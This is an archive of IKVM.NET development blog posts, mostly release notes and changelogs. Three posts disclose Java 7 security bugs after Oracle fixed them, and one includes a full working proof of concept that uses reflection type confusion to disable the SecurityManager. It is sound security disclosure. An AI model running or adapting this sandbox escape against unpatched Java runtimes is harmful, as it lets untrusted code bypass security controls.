# Thursday, 30 May 2013
Overriding a Final Finalize

Compile the following code:

class Base {
  protected final void finalize() {
    System.out.println("Base.finalize");
  }
}

class Derived extends Base {
  private void fin_lize() {
    System.out.println("Derived.finalize");
  }

  public static void main(String[] args) {
    new Derived();
    System.gc();
    System.runFinalization();
  }
}

Now patch Derived.class with a hex editor to change fin_lize to finalize. Run with OpenJDK or Oracle JRE/JDK and observe that Derived.finalize is printed.

This happens because the finalize method is called via JNI reflection and the method name is resolved against the real object type instead of java.lang.Object. The OpenJDK code can be seen here.

A better way to do this would be to add an invokeFinalize method to JavaLangAccess. This avoids the expense of native code and reflection.

Thursday, 30 May 2013 16:11:44 (W. Europe Daylight Time, UTC+02:00)  #    Comments [14]
# Thursday, 18 April 2013
The End of ACC_SUPER

Yesterday I wrote about the security issue fixed in Update 21. Today I'll describe the "Security-In-Depth" issue.

As a result of the Thread Cloning Vulnerability, Oracle removed honoring the absense of ACC_SUPER from HotSpot in Update 13. The HotSpot patch can be seen here.

Again, while working on IKVM's dynamic binding, I found that it was still possible to do a non-virtual invocation of an overridden method by using a MethodHandle. This was fixed in Update 21.

Here's an example that uses Indify to generate the MethodHandle constants and manages to call Object.clone() on a Thread object on Update 13:

import java.lang.invoke.*;

class test extends Thread implements Cloneable {
  public static void main(String[] args) throws Throwable {
    test obj = new test();
    System.out.println(obj == MH_1().invokeExact(obj));
  }

  private static MethodHandle MH_1() throws Throwable {
    return MethodHandles.lookup().findSpecial(Object.class, "clone", MethodType.methodType(Object.class), test.class);
  }
}

You can compile and run this without Indify and it will show the problem (on versions before Update 21), but you need to run Indify to make it work with an active SecurityManager.

The difference between looking up method handles via the API versus using MethodHandle constants is analogous to the difference between normal bytecode method invocation and classic reflection. When going via the API the SecurityManager is involved, but the runtime linker does not call the SecurityManager. MethodHandle constants (when they are properly implemented) don't allow you to do anything that normal bytecode can't do. This is why the claim made by Security Explorations about Issue 54 was incorrect.

Thursday, 18 April 2013 08:55:58 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Wednesday, 17 April 2013
Java 7 Update 21

While I was working on rewriting IKVM's dynamic binding support based on method handles I stumbled into a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite public final fields. This has been fixed in Update 21.

Below is a proof of concept that disables the security manager. It works by changing Double.TYPE to Integer.TYPE and then using reflection to copy an integer field from one object to another, but because of the patched TYPE fields reflection thinks the integer field is a double and copies 8 bytes instead of 4.

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Field;
import static java.lang.invoke.MethodHandles.lookup;

class Union1 {
  int field1;
  Object field2;
}

class Union2 {
  int field1;
  SystemClass field2;
}

class SystemClass {
  Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,
    f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,
    f24,f25,f26,f27,f28,f29,f30;
}

class PoC {
  public static void main(String[] args) throws Throwable {
    System.out.println(System.getSecurityManager());
    disableSecurityManager();
    System.out.println(System.getSecurityManager());
  }

  static void disableSecurityManager() throws Throwable {
    MethodHandle mh1, mh2;
    mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);
    mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);
    Field fld1 = Union1.class.getDeclaredField("field1");
    Field fld2 = Union2.class.getDeclaredField("field1");
    Class classInt = int.class;
    Class classDouble = double.class;
    mh1.invokeExact(int.class);
    mh2.invokeExact((Class)null);
    Union1 u1 = new Union1();
    u1.field2 = System.class;
    Union2 u2 = new Union2();
    fld2.set(u2, fld1.get(u1));
    mh1.invokeExact(classDouble);
    mh2.invokeExact(classInt);
    if (u2.field2.f29 == System.getSecurityManager()) {
      u2.field2.f29 = null;
    } else if (u2.field2.f30 == System.getSecurityManager()) {
      u2.field2.f30 = null;
    } else {
      System.out.println("security manager field not found");
    }
  }
}
Wednesday, 17 April 2013 08:00:08 (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
# Thursday, 28 March 2013
IKVM.NET 7.3 Release Candidate 0

The first release candidate is available. It can be downloaded here or from NuGet.

What's New (relative to IKVM.NET 7.2):

  • Greatly improved support for dynamically loading classes in statically compiled assembly class loaders.
  • Changed ikvmc to default to using runtime binding when a class is not available at compile time.
  • Fixed ikvmc to use jar class loading that matches the runtime.
  • The runtime now projects stub classes into the (virtual file system) jars they came from.
  • Runtime stub classes are now generated by the same code as ikvmstub uses.
  • Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
  • Fixed memory model bugs on ARM.
  • Many bug fixes.
  • Improved ikvmc error messages.
  • Deprecated using stub classes with ikvmc.
  • Added IKVM.Attributes.JavaResourceAttribute to allow .NET resource to be exposed to Java.
  • Font API improvements.
  • Graphics API improvements.
  • Support building IKVM.NET on .NET 4.5, but targetting .NET 4.0.

Changes since previous development snapshot:

  • Volatile long/double fields should not use slow reflection.
  • Reduce complexity of annotation custom attributes construction to improve performance and lower risk (for broken apps that should have used ReflectionOnly).
  • Removed accidentally public methods from ikvm.internal.AnnotationAttributeBase.
  • Fixed ikvm.internal.AnnotationAttributeBase to freeze in writeReplace/Equals/GetHashCode/ToString.

Binaries available here: ikvmbin-7.3.4830.0.zip

Sources: ikvmsrc-7.3.4830.0.zip, openjdk-7u6-b24-stripped.zip

Thursday, 28 March 2013 09:27:31 (W. Europe Standard Time, UTC+01:00)  #    Comments [8]
# Tuesday, 19 March 2013
New Development Snapshot

My burst of inspiration ended. So I guess it's time to do a release soon.

Changes:

  • Expose Java 8 static interface methods as static methods via nested __Methods type.
  • Expose Java 8 default interface methods as static methods via nested __DefaultMethods type.
  • Build fix. When doing a clean build the two generated Java source files don't exist yet, so we process the .in files instead.
  • Added nuget package creation build file.

Binaries available here: ikvmbin-7.3.4826.zip

Tuesday, 19 March 2013 12:28:00 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, 11 March 2013
New Development Snapshot

I'm still working on issues resulting from the big change. There are some more known issues and probably a few unknown ones. However, I couldn't help myself and decided to a little bit of work on Java 8 support. If you define the IKVM_EXPERIMENTAL_JDK_8 environment variable, you can now run Java 8 class files that use the new static and default interface method features.

There is no interop with other .NET languages yet, so you won't be able to call static interface methods from (e.g.) C# or take advantage of default interface method implementations. The interop story for default interface methods isn't going to be great even when it is done. You'll have to manually call the default methods in your C# code. Something like this:

class MyCSharpClass : SomeJavaInterface {
   public void method() {
      SomeJavaInterface.__DefaultMethods.method(this);
   }
}

Changes:

  • Optimized some dynamic binding operations.
  • Switched dynamic field binding to method handles.
  • Removed "effectively final" optimization because it breaks the ability to dynamically load subclasses.
  • Added experimental support for static methods in interfaces (for Java 8 class files).
  • Added experimental support for default interfaces methods (for Java 8 class files).
  • Fixed an ikvmc crash when a member is accessed on a type from a missing assembly.
  • Fixed transparency artefact with AlphaComposite.Src and and anti-aliased text.
  • Bug fix. Don't implement interfaces that aren't accessible.
  • Changed TextArea peer from TextBox to RichTextBox (to handle LF correctly) and implemented replaceRange.
  • Tweaked f2i, f2l, d2i and d2l bytecodes to be a bit faster in the common case.

Binaries available here: ikvmbin-7.3.4817.zip

Monday, 11 March 2013 08:35:25 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, 04 March 2013
New Development Snapshot

Another week, another snapshot.

Changes:

  • Fixed several annotation encoding issues in new stub class generator.
  • Added back support for exporting annotations in .NET assembly stub classes.
  • Fixed ikvmc to not add ObsoleteAttribute to deprecated types/members that already have an explicit ObsoleteAttribute annotation.
  • Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
  • Bug fix. .NET enums used in Java annotations were not usable from .NET custom attribute.
  • Added license headers to build scripts.
  • Made boot class package handling simpler (more OpenJDK based). The package information is now read from the manifest instead of hard coded.

Binaries available here: ikvmbin-7.3.4811.zip

Monday, 04 March 2013 09:20:59 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, 25 February 2013
IKDASM Update

I finally created a github repository for ikdasm. A couple of weeks ago I fixed some ildasm compatibility issues and changed pinvokeimpl and marshalas handling to use the IKVM.Reflection specific APIs instead of decoding the pseudo custom attributes (I also used the new IKVM.Reflection feature to disable generating pseudo custom attributes). I added external module support and fixed some other small issues.

The primary purpose of ikdasm is to make sure that the IKVM.Reflection API is complete. I believe it now exposes all relevant Managed PE file features. The secondary feature is to test IKVM.Reflection and to make this easy ikdasm replicates (almost) all ildasm quirks to enable comparing the output files. I disassembled a large number of files (including C++/CLI and Managed C++ files) and compared the results.

Only a small subset of ildasm functionality has been cloned. There is no GUI and most command line options are also not implemented.

Pull requests are welcome.

Monday, 25 February 2013 11:58:14 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
New Development Snapshot

Still more changes to better support what I'll start calling "mixed mode" (i.e. ikvmc compiled assemblies that use dynamically loaded classes or use dynamic binding to classes in another assembly).

Another change is that runtime stub class generation is now based on the ikvmstub class file writer, instead of the very old code that was reflection based. This means that stubs can now acurately be generated even when some of the types involved are not available.

Changes:

  • Refactored assembly class loading.
  • Added ikvm.runtime.EnumerationWrapper to expose an IEnumerable as a java.util.Enumeration.
  • Removed the old runtime Java stub class generator and replaced it with the ikvmstub core.
  • Allow dynamic class loading from boot class "path" and referenced assemblies.
  • Regression fix. The previous custom assembly class loader construction rewrite introduced a bug.
  • Bug fix. MethodHandle should be able to call dynamic only methods.
  • Bug fix. MethodHandle to Object.clone/finalize should be special cased.
  • Reimplemented dynamic binding on top of MethodHandles.

Binaries available here: ikvmbin-7.3.4804.zip

Monday, 25 February 2013 07:41:17 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Wednesday, 20 February 2013
New Development Snapshot

A quick update because the previous snapshot had a bug that caused ikvmc to be completely broken on the CLR x86 JIT.

Changes:

  • Changed build to explicitly exclude the classes that are already defined in map.xml.
  • Changed ikvmc to add uncompilable classes loaded from the file system to classes.jar.
  • Changed ikvmc to copy zip file comment.
  • Changed ikvmc to emit a warning if a remapped type duplicates a loaded class.
  • Removed CallerID optimization special casing since we can now call internal members from dynamic assemblies.
  • Added some version information to the Internal Compiler Error message.
  • Added some version information to runtime critical failure.
  • Fixed AttributeHelper to have a deterministic class constructor.
  • Bug fix. Disallow invalid class names in AssemblyClassLoader.loadClass().
  • Removed the special casing of generic type definition loading as we've since exposed the generic type definitions to Java.
  • Some beginnings of class loading refactoring.

Binaries available here: ikvmbin-7.3.4799.zip

Wednesday, 20 February 2013 08:24:44 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]